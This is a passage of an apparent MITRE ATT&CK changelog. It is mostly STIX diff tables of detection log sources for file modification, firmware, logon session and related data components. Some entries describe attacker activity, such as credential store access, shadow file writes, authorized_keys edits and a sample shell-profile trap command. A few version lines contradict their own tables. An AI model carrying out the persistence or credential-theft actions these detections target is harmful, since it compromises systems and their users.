'elf_info, hash, yara_matches'}, {'name': 'macos:osquery', 'channel': 'mach_o_info, file_metadata'}, {'name': 'macos:unifiedlog', 'channel': 'Code signature validation fails or is absent post-binary modification'}, {'name': 'fs:filesystem', 'channel': 'Binary file hash changes outside of update/patch cycles'}, {'name': 'linux:osquery', 'channel': 'Read headers and detect MIME type mismatch'}, {'name': 'macos:unifiedlog', 'channel': 'Code signing verification failures or bypassed trust decisions'}, {'name': 'NSM:Flow', 'channel': 'Observed File Transfers'}, {'name': 'esxi:vmkernel', 'channel': 'Storage access and file ops'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of new LaunchAgent or LoginItem plist files in ~/Library/LaunchAgents/'}, {'name': 'auditd:CONFIG_CHANGE', 'channel': 'chmod or chown of hook files indicating privilege escalation or execution permission change'}, {'name': 'macos:unifiedlog', 'channel': 'filesystem events'}, {'name': 'macos:unifiedlog', 'channel': 'xattr -d com.apple.quarantine or similar attribute removal commands'}, {'name': 'macos:unifiedlog', 'channel': 'Gatekeeper quarantine policy decision anomalies recorded in com.apple.LaunchServices.QuarantineEventsV2'}, {'name': 'linux:syslog', 'channel': 'application or system execution logs'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4670'}, {'name': 'auditd:SYSCALL', 'channel': 'syscall in (chmod, fchmod, fchmodat, chown, fchown, fchownat, setxattr, lsetxattr, fsetxattr)'}, {'name': 'linux:syslog', 'channel': 'file permission modification events in kernel messages'}, {'name': 'fs:fsevents', 'channel': 'file system events indicating permission or attribute changes'}, {'name': 'OpenBSM:AuditTrail', 'channel': 'BSM audit events for file permission modifications'}, {'name': 'esxi:hostd', 'channel': 'host daemon events related to file or VM permission changes'}, {'name': 'esxi:vmkernel', 'channel': 'VMware kernel events for file system permission modifications'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'Unsigned or invalid image for newly installed/updated binaries'}, {'name': 'journald:package', 'channel': 'dpkg/apt/yum/dnf transaction logs; vendor updaters in systemd journals'}, {'name': 'macos:unifiedlog', 'channel': 'pkginstalld/softwareupdated/Homebrew install transactions'}, {'name': 'macos:unifiedlog', 'channel': 'AMFI/Gatekeeper code signature or notarization failures'}, {'name': 'EDR:detection', 'channel': 'App reputation telemetry'}, {'name': 'gatekeeper/quarantine database', 'channel': 'LaunchServices quarantine'}, {'name': 'linux:osquery', 'channel': 'file_events.path'}, {'name': 'auditd:SYSCALL', 'channel': 'setuid or setgid bit changes'}, {'name': 'linux:osquery', 'channel': 'Filesystem modifications to trusted paths'}, {'name': 'fs:fsusage', 'channel': 'filesystem monitoring of exec/open'}, {'name': 'auditd:SYSCALL', 'channel': 'syscall in (chmod, fchmod, fchmodat, chown, fchown, fchownat, lchown, setxattr, lsetxattr, fsetxattr, removexattr, lremovexattr, fremovexattr)'}, {'name': 'auditd:PATH', 'channel': 'file path modifications on critical system directories (/etc, /usr/bin, /usr/sbin, /var, /opt)'}, {'name': 'linux:syslog', 'channel': 'kernel messages related to file system permission changes and security violations'}, {'name': 'OpenBSM:AuditTrail', 'channel': 'BSM audit events for file permission, ownership, and attribute modifications with user context'}, {'name': 'macos:unifiedlog', 'channel': 'kernel extension and system extension logs related to file system security violations or SIP bypass attempts'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'Code integrity violations in boot-start drivers or firmware'}, {'name': 'fwupd:logs', 'channel': 'Firmware updates applied or failed'}, {'name': 'macos:endpointsecurity', 'channel': 'es_event_authentication'}, {'name': 'esxi:vmkernel', 'channel': 'Datastore modification events'}, {'name': 'linux:osquery', 'channel': 'Write or modify .desktop file in XDG autostart path'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected application binary modifications or altered signing status'}, {'name': 'auditd:SYSCALL', 'channel': 'setxattr or getxattr system call'}, {'name': 'macos:unifiedlog', 'channel': 'extended attribute write or modification'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4663, 4656, 4658'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4663'}, {'name': 'auditd:SYSCALL', 'channel': 'chmod, chown, setxattr, or file writes to /etc/ssl/* or /usr/local/share/ca-certificates/*'}, {'name': 'macos:unifiedlog', 'channel': 'New certificate trust settings added by unexpected process'}, {'name': 'esxi:syslog', 'channel': 'Datastore file hidden or renamed unexpectedly'}, {'name': 'WinEventLog:Windows Defender', 'channel': 'Operational'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.lsd'}, {'name': 'saas:RepoEvents', 'channel': 'New file added or modified in PR targeting CI/CD or build config (e.g., `gitlab-ci.yml`, `build.gradle`, `pom.xml`, `.github/workflows/*.yml`)'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': "CodeIntegrity reports 'Invalid image hash' or 'Unsigned image' for new/updated binaries"}, {'name': 'WinEventLog:Microsoft-Windows-Windows Defender/Operational', 'channel': 'SmartScreen or ASR blocks on newly downloaded installer/updater'}, {'name': 'WinEventLog:Setup', 'channel': 'MSI/Product install, repair or update events'}, {'name': 'journald:package', 'channel': 'dpkg/apt install, remove, upgrade events'}, {'name': 'journald:package', 'channel': 'yum/dnf install or update transactions'}, {'name': 'linux:osquery', 'channel': 'hash, rpm_packages, deb_packages, file_events'}, {'name': 'macos:unifiedlog', 'channel': "installer or system_installd 'PackageKit: install succeeded/failed' with non-notarized or unknown signer"}, {'name': 'macos:unifiedlog', 'channel': "Gatekeeper/AMFI 'code signature invalid' / 'not notarized' messages"}, {'name': 'networkdevice:syslog', 'channel': 'OS version query results inconsistent with expected or approved version list'}, {'name': 'macos:unifiedlog', 'channel': 'File creation or modification with com.apple.ResourceFork extended attribute'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=15 '}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:10:14.725000+00:00 | 2025-10-21 15:14:35.397000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0061', 'external_id': 'DC0061'}] | |
| x_mitre_log_sources | [{'name': 'File', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write calls modifying ~/.bashrc, ~/.profile, or /etc/paths.d'}, {'name': 'macos:unifiedlog', 'channel': 'File modification in /etc/paths.d or user shell rc files'}, {'name': 'fs:fileevents', 'channel': '/var/log/quarantine.log'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of ~/Library/LaunchAgents or /Library/LaunchDaemons plist'}, {'name': 'auditd:SYSCALL', 'channel': 'open, write'}, {'name': 'auditd:SYSCALL', 'channel': 'AUDIT_SYSCALL (open, write, rename, unlink)'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_WRITE, targeting .zshrc, .zlogin, .zprofile'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4663'}, {'name': 'fs:fileevents', 'channel': '/var/log/install.log'}, {'name': 'auditd:SYSCALL', 'channel': 'PATH'}, {'name': 'macos:osquery', 'channel': 'file_events'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=2'}, {'name': 'auditd:SYSCALL', 'channel': 'execve call for modification of /etc/sudoers or writing to /var/db/sudo'}, {'name': 'auditd:SYSCALL', 'channel': 'open, write: File modifications under /etc/ssl/certs, /usr/local/share/ca-certificates, or /etc/pki/ca-trust/source/anchors'}, {'name': 'macos:osquery', 'channel': 'query: Enumeration of root certificates showing unexpected additions'}, {'name': 'auditd:SYSCALL', 'channel': 'open, unlink, rename: Suspicious file access, deletion, or modification of sensitive paths'}, {'name': 'macos:unifiedlog', 'channel': 'Anomalous plist modifications or sensitive file overwrites by non-standard processes'}, {'name': 'auditd:FILE', 'channel': 'Modification or deletion of /etc/audit/audit.rules or /etc/audit/audit.conf'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write of .service unit files'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write/unlink'}, {'name': 'macos:unifiedlog', 'channel': 'loginwindow or desktopservices modified settings or files'}, {'name': 'ESXiLogs:messages', 'channel': 'changes to /etc/motd or /etc/vmware/welcome'}, {'name': 'auditd:SYSCALL', 'channel': 'write, rename'}, {'name': 'containerd:runtime', 'channel': 'file change monitoring within /etc/cron.*, /tmp, or mounted volumes'}, {'name': 'esxi:cron', 'channel': 'manual edits to /etc/rc.local.d/local.sh or cron.d'}, {'name': 'auditd:PATH', 'channel': '/etc/passwd or /etc/group file write'}, {'name': 'auditd:SYSCALL', 'channel': 'write'}, {'name': 'macos:unifiedlog', 'channel': 'SecurityAgentPlugins modification'}, {'name': 'macos:unifiedlog', 'channel': 'write: File modifications to *.plist within LaunchAgents, LaunchDaemons, Application Support, or Preferences directories'}, {'name': 'linux:osquery', 'channel': 'file_events'}, {'name': 'esxi:hostd', 'channel': 'boot'}, {'name': 'networkdevice:syslog', 'channel': 'config'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of backgrounditems.btm or creation of LoginItems subdirectory in .app bundle'}, {'name': 'fs:filesystem', 'channel': "Modification or creation of files matching 'com.apple.loginwindow.*.plist' in ~/Library/Preferences/ByHost"}, {'name': 'auditd:SYSCALL', 'channel': 'write | PATH=/home/*/.ssh/authorized_keys'}, {'name': 'macos:auth', 'channel': '~/.ssh/authorized_keys'}, {'name': 'gcp:audit', 'channel': 'compute.instances.setMetadata'}, {'name': 'azure:resource', 'channel': 'PATCH vm/authorized_keys'}, {'name': 'esxi:shell', 'channel': 'file write or edit'}, {'name': 'linux:syslog', 'channel': 'rename'}, {'name': 'ebpf:syscalls', 'channel': 'file_write'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of plist with apple.awt.UIElement set to TRUE'}, {'name': 'fs:fsusage', 'channel': 'unlink, write'}, {'name': 'auditd:SYSCALL', 'channel': 'open, write: Write operations targeting /dev/sda, /dev/nvme0n1, or EFI partition mounts'}, {'name': 'auditd:PATH', 'channel': 'write: Modification of /boot/grub/*, /boot/efi/EFI/*, or initramfs images'}, {'name': 'networkdevice:config', 'channel': 'config-change: timezone or ntp server configuration change after a time query command'}, {'name': 'macos:unifiedlog', 'channel': 'replace existing dylibs'}, {'name': 'networkdevice:config', 'channel': 'Configuration changes to boot variables, startup image paths, or checksum verification failures'}, {'name': 'firmware:update', 'channel': 'Unexpected or unscheduled firmware updates, image overwrites, or failed signature validation'}, {'name': 'IntegrityCheck:ImageValidation', 'channel': 'Checksum or hash mismatch between running image and known-good vendor-provided image'}, {'name': 'macos:osquery', 'channel': 'File modifications in ~/Library/Preferences/'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write to /etc/pam.d/*'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of /Library/Security/SecurityAgentPlugins'}, {'name': 'macos:unifiedlog', 'channel': 'Modifications to Mail.app plist files controlling message rules'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4656,4663'}, {'name': 'auditd:SYSCALL', 'channel': 'write: Modification of structured stored data by suspicious processes'}, {'name': 'linux:syslog', 'channel': 'Unexpected log entries or malformed SQL operations in databases'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected creation or modification of stored data files in protected directories'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EvenCode=2'}, {'name': 'auditd:SYSCALL', 'channel': 'openat, write, rename, unlink'}, {'name': 'macos:unifiedlog', 'channel': 'file encrypted|new file with .encrypted extension|disk write burst'}, {'name': 'esxi:vmkernel', 'channel': 'rename .vmdk to .*.locked|datastore write spike'}, {'name': 'macos:unifiedlog', 'channel': 'Mach-O binary modified or LC_LOAD_DYLIB segment inserted'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write syscalls targeting /etc/ld.so.preload or binaries in /usr/bin'}, {'name': 'macos:unifiedlog', 'channel': 'Modified application plist or binary replacement in /Applications'}, {'name': 'esxi:shell', 'channel': 'admin command usage'}, {'name': 'networkdevice:syslog', 'channel': 'startup-config'}, {'name': 'macos:unifiedlog', 'channel': 'File creation or overwrite in common web-hosting folders'}, {'name': 'esxi:vmkernel', 'channel': 'Unauthorized file modifications within datastore volumes via shell access or vCLI'}, {'name': 'networkdevice:config', 'channel': "Configuration changes referencing 'crypto', 'key length', 'cipher', or downgrade of encryption settings"}, {'name': 'FirmwareLogs:Update', 'channel': 'Unexpected firmware or image updates modifying cryptographic modules'}, {'name': 'fs:plist', 'channel': '/var/root/Library/Preferences/com.apple.loginwindow.plist'}, {'name': 'auditd:SYSCALL', 'channel': 'modification of existing .service file'}, {'name': 'auditd:PATH', 'channel': 'write or create events on *.pth, sitecustomize.py, usercustomize.py in site-packages or dist-packages'}, {'name': 'macos:unifiedlog', 'channel': 'write of plist files in /Library/LaunchAgents or /Library/LaunchDaemons'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4670'}, {'name': 'WinEventLog:System', 'channel': 'Unexpected modification to lsass.exe or cryptdll.dll'}, {'name': 'networkconfig', 'channel': 'unexpected OS image file upload or modification events'}, {'name': 'network:runtime', 'channel': 'checksum or runtime memory verification failures'}, {'name': 'macos:unifiedlog', 'channel': 'write'}, {'name': 'auditd:SYSCALL', 'channel': 'open, write: Modification of /boot/grub/* or /boot/efi/*'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of /System/Library/CoreServices/boot.efi'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of LaunchAgents or LaunchDaemons plist files'}, {'name': 'auditd:SYSCALL', 'channel': 'chmod'}, {'name': 'auditd:SYSCALL', 'channel': 'rename,chmod'}, {'name': 'fs:fsevents', 'channel': 'create/write/rename under user-writable paths'}, {'name': 'macos:osquery', 'channel': 'Changes to LSFileQuarantineEnabled field in Info.plist'}, {'name': 'fs:fsusage', 'channel': 'file access to /usr/lib/cron/tabs/ and cron output files'}, {'name': 'esxi:hostd', 'channel': 'modification of crontab or local.sh entries'}, {'name': 'networkdevice:config', 'channel': 'Configuration file modified or replaced on network device'}, {'name': 'macos:unifiedlog', 'channel': 'Plist modifications containing virtualization run configurations'}, {'name': 'fs:fsusage', 'channel': 'file access to /usr/lib/cron/at and job execution path'}, {'name': 'macos:unifiedlog', 'channel': 'binary modified or replaced'}, {'name': 'esxi:hostd', 'channel': 'binary or module replacement event'}, {'name': 'networkdevice:config', 'channel': 'Configuration change events referencing encryption, TLS/SSL, or IPSec settings'}, {'name': 'networkdevice:firmware', 'channel': 'Unexpected firmware update or image modification affecting crypto modules'}, {'name': 'fs:fsevents', 'channel': 'file system events indicating permission, ownership, or extended attribute changes on critical paths. File system modification events with kFSEventStreamEventFlagItemChangeOwner, kFSEventStreamEventFlagItemXattrMod flags'}, {'name': 'auditd:FILE', 'channel': 'Modification of Display Manager configuration files (/etc/gdm3/*, /etc/lightdm/*)'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of /Library/Preferences/com.apple.loginwindow plist'}, {'name': 'auditd:SYSCALL', 'channel': 'Modification of user shell profile or trap registration via echo/redirection (e.g., echo "trap \'malicious_cmd\' INT" >> ~/.bashrc)'}, {'name': 'macos:unifiedlog', 'channel': 'File write or append to .zshrc, .bash_profile, .zprofile, etc.'}, {'name': 'auditd:SYSCALL', 'channel': 'chmod, write, create, open'}, {'name': 'fs:fsevents', 'channel': 'Extensions'}, {'name': 'auditd:SYSCALL', 'channel': 'open, write: File writes to application binaries or libraries at runtime'}, {'name': 'macos:osquery', 'channel': 'CALCULATE: Mismatch in file integrity of critical macOS applications'}, {'name': 'auditd:SYSCALL', 'channel': 'file write operations in /Library/WebServer/Documents'}, {'name': 'fs:launchdaemons', 'channel': 'file_modify'}, {'name': 'auditd:PATH', 'channel': 'write: File modifications to /etc/systemd/sleep.conf or related power configuration files'}, {'name': 'macos:unifiedlog', 'channel': 'write: File modification to com.apple.PowerManagement.plist or related system preference files'}, {'name': 'fs:fsusage', 'channel': 'modification of existing LaunchAgents plist'}, {'name': 'macos:unifiedlog', 'channel': 'create/modify dylib in monitored directories'}, {'name': 'WinEventLog:Application', 'channel': '81,3033'}, {'name': 'auditd:SYSCALL', 'channel': 'write operation on /etc/passwd or /etc/shadow'}, {'name': 'macos:unifiedlog', 'channel': 'modification to /var/db/dslocal/nodes/Default/users/'}, {'name': 'linux:osquery', 'channel': 'New or modified kernel object files (.ko) within /lib/modules directory'}, {'name': 'macos:osquery', 'channel': 'Modifications to /var/db/SystemPolicyConfiguration/KextPolicy or kext_policy table'}, {'name': 'networkdevice:audit', 'channel': 'SNMP configuration changes, such as enabling read/write access or modifying community strings'}, {'name': 'macos:osquery', 'channel': 'write'}, {'name': 'auditd:SYSCALL', 'channel': 'mount or losetup commands creating hidden or encrypted FS'}, {'name': 'macos:unifiedlog', 'channel': 'Hidden volume attachment or modification events'}, {'name': 'macos:unifiedlog', 'channel': 'Suspicious plist edits for volume mounting behavior'}, {'name': 'networkdevice:config', 'channel': 'Configuration changes to startup image paths, boot loader parameters, or debug flags'}, {'name': 'networkdevice:syslog', 'channel': 'Checksum/hash mismatch between device OS image and baseline known-good version'}, {'name': 'macos:unifiedlog', 'channel': 'file writes'}, {'name': 'm365:defender', 'channel': 'OfficeTelemetry or DLP'}, {'name': 'fs:fsusage', 'channel': 'Filesystem Access Logging'}, {'name': 'networkdevice:config', 'channel': 'Configuration changes referencing cryptographic hardware modules or disabling hardware acceleration'}, {'name': 'FirmwareLogs:Update', 'channel': 'Unexpected firmware updates that alter encryption libraries or disable hardware crypto modules'}, {'name': 'm365:office', 'channel': 'Anomalous editing of invoice or payment document templates'}, {'name': 'fs:fsusage', 'channel': 'truncate, unlink, write'}, {'name': 'macos:unifiedlog', 'channel': 'Modification or replacement of /Library/Application Support/com.apple.TCC/TCC.db or ~/Library/Application Support/com.apple.TCC/TCC.db'}, {'name': 'linux:fim', 'channel': 'Changes to /etc/rc.local.d/local.sh or creation of unexpected startup files in persistent partitions (/etc/init.d, /store, /locker)'}, {'name': 'macos:endpointsecurity', 'channel': 'write, rename'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write to /proc/*/mem or /proc/*/maps'}, {'name': 'sysdig:file', 'channel': 'evt.type=write'}, {'name': 'macos:unifiedlog', 'channel': 'rule definitions written to emond rule plists'}, {'name': 'networkdevice:config', 'channel': 'Configuration changes referencing older image versions or unexpected boot parameters'}, {'name': 'FileIntegrity:ImageValidation', 'channel': 'Hash/checksum mismatch against baseline vendor-provided OS image versions'}, {'name': 'auditd:SYSCALL', 'channel': 'write or rename to /etc/systemd/system or /etc/init.d'}, {'name': 'fs:fsusage', 'channel': 'file write to launchd plist paths'}, {'name': 'auditd:SYSCALL', 'channel': 'modification of entrypoint scripts or init containers'}, {'name': 'fs:plist_monitoring', 'channel': '/Users/*/Library/Mail/V*/MailData/RulesActiveState.plist'}, {'name': 'auditd:SYSCALL', 'channel': 'chmod/chown to /etc/passwd or /etc/shadow'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write syscalls targeting web directory files'}, {'name': 'macos:unifiedlog', 'channel': 'Terminal/Editor processes modifying web folder'}, {'name': 'esxi:vmkernel', 'channel': '/var/log/vmkernel.log'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:10:11.410000+00:00 | 2025-10-21 15:14:35.239000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0004', 'external_id': 'DC0004'}] | |
| x_mitre_log_sources | [{'name': 'Firmware', 'channel': 'None'}, {'name': 'networkdevice:syslog', 'channel': 'Image Upgrade / Configuration Change'}, {'name': 'networkdevice:config', 'channel': 'Boot image path or firmware configuration variable modified outside of maintenance windows'}, {'name': 'WinEventLog:Microsoft-Windows-Kernel-Boot', 'channel': 'Firmware integrity validation failed or boot configuration tampered'}, {'name': 'auditd:SYSCALL', 'channel': 'write access to /dev/mem or /sys/firmware/efi/efivars'}, {'name': 'macos:unifiedlog', 'channel': 'boot failure events or SMC validation errors'}, {'name': 'networkdevice:firmware', 'channel': 'Firmware update initiated or bootloader tampering detected'}, {'name': 'networkdevice:config', 'channel': 'Log entries indicating ROMMON image upgrade commands (boot system, upgrade rom-monitor)'}, {'name': 'networkdevice:config', 'channel': 'Boot variable modified to point to non-standard or unsigned image'}, {'name': 'firmware:integrity ', 'channel': 'Firmware integrity verification failures or mismatches against expected UEFI/firmware image baselines'}, {'name': 'auditd:SYSCALL', 'channel': 'ioctl/write: Direct firmware update or device memory manipulation syscalls'}, {'name': 'firmware:smart', 'channel': 'Unexpected firmware-level errors or abnormal S.M.A.R.T. log entries'}, {'name': 'macos:unifiedlog', 'channel': 'Firmware update events or kernel extension (kext) loads not signed by Apple'}, {'name': 'firmware:integrity', 'channel': 'Baseline mismatch or unexpected EFI module detected during integrity checks'}, {'name': 'macos:osquery', 'channel': 'Unexpected changes in EFI or NVRAM variables controlling hardware boot state'}, {'name': 'networkdevice:syslog', 'channel': 'Custom firmware or routing changes'}, {'name': 'etw:Microsoft-Windows-Kernel-Storage', 'channel': 'Raw disk I/O operations bypassing NTFS APIs'}, {'name': 'firmware:runtime', 'channel': 'Debug or memory access commands indicating attempts to alter OS instructions in memory'}, {'name': 'networkdevice:syslog', 'channel': 'Boot information log showing image loaded from TFTP server instead of local storage'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--ca1cb239-ff6d-4f64-b9d7-41c8556a8b4f |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:12:52.606000+00:00 | 2025-10-21 15:14:38.020000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.2 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0067', 'external_id': 'DC0067'}] | |
| x_mitre_log_sources | [{'name': 'Logon Session', 'channel': 'None'}, {'name': 'macos:unifiedlog', 'channel': 'UserLoggedIn'}, {'name': 'AWS:CloudTrail', 'channel': 'ConsoleLogin, AssumeRole, ListResources'}, {'name': 'azure:signin', 'channel': 'UserLoginSuccess, TokenIssued'}, {'name': 'Okta:SystemLog', 'channel': 'user.authentication.sso, app.oauth.grant'}, {'name': 'm365:signin', 'channel': 'SignInSuccess, RoleAssignmentRead'}, {'name': 'm365:unified', 'channel': 'UserLoggedIn'}, {'name': 'gcp:audit', 'channel': 'LoginAudit, DriveAudit'}, {'name': 'saas:auth', 'channel': 'LoginSuccess, APIKeyUse, AdminAction'}, {'name': 'azure:signinlogs', 'channel': 'Abnormal sign-in from scripting tools (PowerShell, AADInternals)'}, {'name': 'azure:signinlogs', 'channel': 'Suspicious login to cloud mailbox system'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624'}, {'name': 'azure:signinlogs', 'channel': 'Failed MFA attempts, unusual conditional access triggers, login attempts from unexpected IP ranges'}, {'name': 'AWS:CloudTrail', 'channel': 'ConsoleLogin'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4648'}, {'name': 'NSM:Connections', 'channel': 'Mismatch between recorded user logon and active sessions (e.g., wtmp/utmp entries without corresponding authentication in auth.log)'}, {'name': 'macos:unifiedlog', 'channel': 'Authentication inconsistencies where commands are executed without corresponding login events'}, {'name': 'CloudTrail:Signin', 'channel': 'SAML login without corresponding IdP authentication log'}, {'name': 'm365:sharepoint', 'channel': 'File access with forged or anomalous SAML claims'}, {'name': 'AWS:CloudTrail', 'channel': 'Web console logins using session cookies without corresponding MFA event'}, {'name': 'saas:access', 'channel': 'Multiple concurrent logins using same cookie from different locations'}, {'name': 'AWS:CloudTrail', 'channel': 'ConsoleLogin: If IdP backed by cloud provider, Console login from new IP/agent after correlated endpoint compromise'}, {'name': 'macos:unifiedlog', 'channel': 'authentication'}, {'name': 'AWS:CloudTrail', 'channel': 'SendSSHPublicKey, StartSession (SSM), EC2InstanceConnect'}, {'name': 'azure:signin', 'channel': 'Microsoft.Compute/virtualMachines/serialConsole/connect/action'}, {'name': 'gcp:audit', 'channel': 'cloud.ssh.publicKey.inserted, compute.instances.osLogin'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624 with LogonType=9 or smartcard logon'}, {'name': 'NSM:Connections', 'channel': 'Missing new login event but session activity continues'}, {'name': 'macos:unifiedlog', 'channel': 'Session reuse without new auth event'}, {'name': 'AWS:CloudTrail', 'channel': 'Temporary security credentials used to authenticate into management console or APIs'}, {'name': 'macos:unifiedlog', 'channel': 'Access to Keychain items or browser credential stores'}, {'name': 'm365:signin', 'channel': 'Token usage events with device/user mismatch'}, {'name': 'saas:github', 'channel': 'Login from unusual IP, device fingerprint, or location; access token creation from new client'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624 (LogonType=10 or 3), EventCode=4648'}, {'name': 'linux:syslog', 'channel': 'sshd: Accepted password/publickey'}, {'name': 'macos:unifiedlog', 'channel': "eventMessage CONTAINS 'screensharingd' or 'AuthorizationRefCreate'"}, {'name': 'AWS:CloudTrail', 'channel': 'AWS ConsoleLogin, StartSession'}, {'name': 'esxi:vmkernel', 'channel': 'vim.fault.*, DCUI login, SSH shell'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624 (LogonType=3)'}, {'name': 'AWS:CloudTrail', 'channel': 'GetConsoleOutput'}, {'name': 'saas:okta', 'channel': 'user.session.start'}, {'name': 'm365:unified', 'channel': 'ViewAdminReport'}, {'name': 'saas:zoom', 'channel': 'Zoom Admin Dashboard accessed from unfamiliar IP/device'}, {'name': 'WinEventLog:Security', 'channel': 'Anomalous logon without MFA enforcement'}, {'name': 'networkdevice:Firewall', 'channel': 'Login from untrusted IP, or new admin account accessing firewall console/API'}, {'name': 'linux:syslog', 'channel': 'authentication success after file access'}, {'name': 'macos:unifiedlog', 'channel': 'Keychain or user login post-access'}, {'name': 'AWS:CloudTrail', 'channel': 'sudden role assumption after credential file access'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624 (LogonType=10), EventCode=4648'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4672, 4648'}, {'name': 'NSM:Connections', 'channel': 'Accepted publickey for user from unusual IP or without tty'}, {'name': 'saas:confluence', 'channel': 'logon'}, {'name': 'linux:syslog', 'channel': 'auth.log / secure.log'}, {'name': 'esxi:auth', 'channel': 'Shell login or escalation'}, {'name': 'linux:auth', 'channel': 'User login event followed by unexpected process tree'}, {'name': 'azure:signinlogs', 'channel': 'InteractiveUserLogin: Discovery behavior linked to privileged logins from atypical IP ranges'}, {'name': 'm365:signinlogs', 'channel': 'UserLogin: Discovery operations shortly after account logins from new geolocations'}, {'name': 'saas:auth', 'channel': 'Login, TokenGranted: Discovery actions tied to anomalous login sessions or tokens'}, {'name': 'WinEventLog:Security', 'channel': '4624'}, {'name': 'NSM:Connections', 'channel': 'simultaneous or anomalous logon sessions across multiple systems'}, {'name': 'macos:unifiedlog', 'channel': 'authentication plugin load or modification events'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624,4648, 4672'}, {'name': 'azure:ad', 'channel': 'SignInEvents'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624,4648,4672,4769'}, {'name': 'linux:syslog', 'channel': 'Accepted publickey/password for * from * port * ssh2'}, {'name': 'macos:unifiedlog', 'channel': 'loginwindow or sshd successful login events'}, {'name': 'azure:signinlogs', 'channel': 'InteractiveUser, ServicePrincipalSignIn'}, {'name': 'AWS:CloudTrail', 'channel': 'AssumeRole,AssumeRoleWithSAML,AssumeRoleWithWebIdentity'}, {'name': 'azure:signinlogs', 'channel': 'InteractiveUser, NonInteractiveUser'}, {'name': 'azure:signinlogs', 'channel': 'UserLogin, ConditionalAccessPolicyEvaluated'}, {'name': 'saas:okta', 'channel': 'session.token.reuse'}, {'name': 'auditd:SYSCALL', 'channel': 'capset or setns'}, {'name': 'gcp:audit', 'channel': 'admin.googleapis.com'}, {'name': 'm365:signinlogs', 'channel': 'UserLoggedIn'}, {'name': 'WinEventLog:Security', 'channel': 'EventID=4624'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4634'}, {'name': 'linux:syslog', 'channel': 'None'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--4358c631-e253-4557-86df-f687d0ef9891 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:12:26.544000+00:00 | 2025-10-21 15:14:35.022000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.2 | 2.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0088', 'external_id': 'DC0088'}] | |
